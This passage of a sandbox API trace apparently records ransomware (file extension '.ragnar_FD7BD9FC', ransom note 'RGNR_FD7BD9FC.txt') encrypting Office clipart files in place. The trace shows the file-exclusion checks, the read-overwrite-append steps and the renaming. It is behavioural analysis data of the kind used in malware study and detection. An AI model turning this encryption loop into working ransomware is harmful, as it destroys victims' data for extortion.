lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.662] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.663] GetProcessHeap () returned 0x580000 [0090.663] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.663] CloseHandle (hObject=0xf4) returned 1 [0090.663] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00166_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00166_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00166_.WMF" [0090.663] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00166_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00166_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00166_.WMF.ragnar_FD7BD9FC" [0090.663] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00166_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00166_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00166_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.663] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35b37d00, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35b37d00, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00168_.WMF", cAlternateFileName="")) returned 1 [0090.663] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.663] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00168_.WMF" | out: lpString1="SO00168_.WMF") returned="SO00168_.WMF" [0090.663] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00168_.WMF") returned=".WMF" [0090.663] lstrcmpiW (lpString1="SO00168_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0090.664] lstrcmpiW (lpString1="SO00168_.WMF", lpString2="autorun.inf") returned 1 [0090.664] lstrcmpiW (lpString1="SO00168_.WMF", lpString2="boot.ini") returned 1 [0090.664] lstrcmpiW (lpString1="SO00168_.WMF", lpString2="bootfont.bin") returned 1 [0090.664] lstrcmpiW (lpString1="SO00168_.WMF", lpString2="bootsect.bak") returned 1 [0090.664] lstrcmpiW (lpString1="SO00168_.WMF", lpString2="bootmgr") returned 1 [0090.664] lstrcmpiW (lpString1="SO00168_.WMF", lpString2="bootmgr.efi") returned 1 [0090.664] lstrcmpiW (lpString1="SO00168_.WMF", lpString2="bootmgfw.efi") returned 1 [0090.664] lstrcmpiW (lpString1="SO00168_.WMF", lpString2="desktop.ini") returned 1 [0090.664] lstrcmpiW (lpString1="SO00168_.WMF", lpString2="iconcache.db") returned 1 [0090.664] lstrcmpiW (lpString1="SO00168_.WMF", lpString2="ntldr") returned 1 [0090.664] lstrcmpiW (lpString1="SO00168_.WMF", lpString2="ntuser.dat") returned 1 [0090.664] lstrcmpiW (lpString1="SO00168_.WMF", lpString2="ntuser.dat.log") returned 1 [0090.664] lstrcmpiW (lpString1="SO00168_.WMF", lpString2="ntuser.ini") returned 1 [0090.664] lstrcmpiW (lpString1="SO00168_.WMF", lpString2="thumbs.db") returned -1 [0090.664] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0090.664] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0090.664] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0090.664] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0090.664] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0090.664] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0090.664] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0090.664] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00168_.wmf")) returned 0x20 [0090.665] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00168_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.666] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=15150) returned 1 [0090.666] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3b25, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.666] GetProcessHeap () returned 0x580000 [0090.666] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.666] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.667] VirtualAlloc (lpAddress=0x0, dwSize=0x3b2e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.667] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.667] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.668] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3b2e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3b2e, lpOverlapped=0x0) returned 1 [0090.668] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.668] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3b2e, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.668] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3b2e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3b2e, lpOverlapped=0x0) returned 1 [0090.669] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3b2e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.669] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.669] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3b2e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.669] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.669] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.669] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.669] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.669] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.669] GetProcessHeap () returned 0x580000 [0090.669] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.669] CloseHandle (hObject=0xf4) returned 1 [0090.669] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00168_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00168_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00168_.WMF" [0090.669] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00168_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00168_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00168_.WMF.ragnar_FD7BD9FC" [0090.669] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00168_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00168_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00168_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.670] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34825000, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34825000, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x2242, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00170_.WMF", cAlternateFileName="")) returned 1 [0090.670] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.670] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00170_.WMF" | out: lpString1="SO00170_.WMF") returned="SO00170_.WMF" [0090.670] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00170_.WMF") returned=".WMF" [0090.670] lstrcmpiW (lpString1="SO00170_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0090.670] lstrcmpiW (lpString1="SO00170_.WMF", lpString2="autorun.inf") returned 1 [0090.670] lstrcmpiW (lpString1="SO00170_.WMF", lpString2="boot.ini") returned 1 [0090.670] lstrcmpiW (lpString1="SO00170_.WMF", lpString2="bootfont.bin") returned 1 [0090.670] lstrcmpiW (lpString1="SO00170_.WMF", lpString2="bootsect.bak") returned 1 [0090.670] lstrcmpiW (lpString1="SO00170_.WMF", lpString2="bootmgr") returned 1 [0090.670] lstrcmpiW (lpString1="SO00170_.WMF", lpString2="bootmgr.efi") returned 1 [0090.670] lstrcmpiW (lpString1="SO00170_.WMF", lpString2="bootmgfw.efi") returned 1 [0090.671] lstrcmpiW (lpString1="SO00170_.WMF", lpString2="desktop.ini") returned 1 [0090.671] lstrcmpiW (lpString1="SO00170_.WMF", lpString2="iconcache.db") returned 1 [0090.671] lstrcmpiW (lpString1="SO00170_.WMF", lpString2="ntldr") returned 1 [0090.671] lstrcmpiW (lpString1="SO00170_.WMF", lpString2="ntuser.dat") returned 1 [0090.671] lstrcmpiW (lpString1="SO00170_.WMF", lpString2="ntuser.dat.log") returned 1 [0090.671] lstrcmpiW (lpString1="SO00170_.WMF", lpString2="ntuser.ini") returned 1 [0090.671] lstrcmpiW (lpString1="SO00170_.WMF", lpString2="thumbs.db") returned -1 [0090.671] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0090.671] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0090.671] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0090.671] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0090.671] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0090.671] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0090.671] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0090.671] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00170_.wmf")) returned 0x20 [0090.672] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00170_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.672] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8770) returned 1 [0090.672] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2239, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.672] GetProcessHeap () returned 0x580000 [0090.672] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.672] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.673] VirtualAlloc (lpAddress=0x0, dwSize=0x2242, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.674] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.674] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.674] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2242, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2242, lpOverlapped=0x0) returned 1 [0090.675] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.675] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2242, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.675] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2242, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2242, lpOverlapped=0x0) returned 1 [0090.675] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2242, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.675] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.675] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2242, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.675] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.675] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.675] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.676] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.676] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.676] GetProcessHeap () returned 0x580000 [0090.676] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.676] CloseHandle (hObject=0xf4) returned 1 [0090.676] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00170_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00170_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00170_.WMF" [0090.676] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00170_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00170_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00170_.WMF.ragnar_FD7BD9FC" [0090.676] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00170_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00170_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00170_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.676] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2af8e800, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2af8e800, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x8f0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00177_.WMF", cAlternateFileName="")) returned 1 [0090.677] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.677] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00177_.WMF" | out: lpString1="SO00177_.WMF") returned="SO00177_.WMF" [0090.677] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00177_.WMF") returned=".WMF" [0090.677] lstrcmpiW (lpString1="SO00177_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0090.677] lstrcmpiW (lpString1="SO00177_.WMF", lpString2="autorun.inf") returned 1 [0090.677] lstrcmpiW (lpString1="SO00177_.WMF", lpString2="boot.ini") returned 1 [0090.677] lstrcmpiW (lpString1="SO00177_.WMF", lpString2="bootfont.bin") returned 1 [0090.677] lstrcmpiW (lpString1="SO00177_.WMF", lpString2="bootsect.bak") returned 1 [0090.677] lstrcmpiW (lpString1="SO00177_.WMF", lpString2="bootmgr") returned 1 [0090.677] lstrcmpiW (lpString1="SO00177_.WMF", lpString2="bootmgr.efi") returned 1 [0090.677] lstrcmpiW (lpString1="SO00177_.WMF", lpString2="bootmgfw.efi") returned 1 [0090.677] lstrcmpiW (lpString1="SO00177_.WMF", lpString2="desktop.ini") returned 1 [0090.677] lstrcmpiW (lpString1="SO00177_.WMF", lpString2="iconcache.db") returned 1 [0090.677] lstrcmpiW (lpString1="SO00177_.WMF", lpString2="ntldr") returned 1 [0090.677] lstrcmpiW (lpString1="SO00177_.WMF", lpString2="ntuser.dat") returned 1 [0090.677] lstrcmpiW (lpString1="SO00177_.WMF", lpString2="ntuser.dat.log") returned 1 [0090.677] lstrcmpiW (lpString1="SO00177_.WMF", lpString2="ntuser.ini") returned 1 [0090.677] lstrcmpiW (lpString1="SO00177_.WMF", lpString2="thumbs.db") returned -1 [0090.677] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0090.677] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0090.677] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0090.677] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0090.677] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0090.677] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0090.677] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0090.677] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00177_.wmf")) returned 0x20 [0090.678] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00177_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.678] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=36622) returned 1 [0090.678] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8f05, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.678] GetProcessHeap () returned 0x580000 [0090.678] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.678] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.680] VirtualAlloc (lpAddress=0x0, dwSize=0x8f0e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.680] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.680] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.680] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8f0e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x8f0e, lpOverlapped=0x0) returned 1 [0090.681] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.682] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8f0e, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.682] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8f0e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x8f0e, lpOverlapped=0x0) returned 1 [0090.682] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8f0e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.682] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.682] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8f0e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.682] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.682] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.683] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.683] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.683] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.683] GetProcessHeap () returned 0x580000 [0090.683] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.683] CloseHandle (hObject=0xf4) returned 1 [0090.683] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00177_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00177_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft 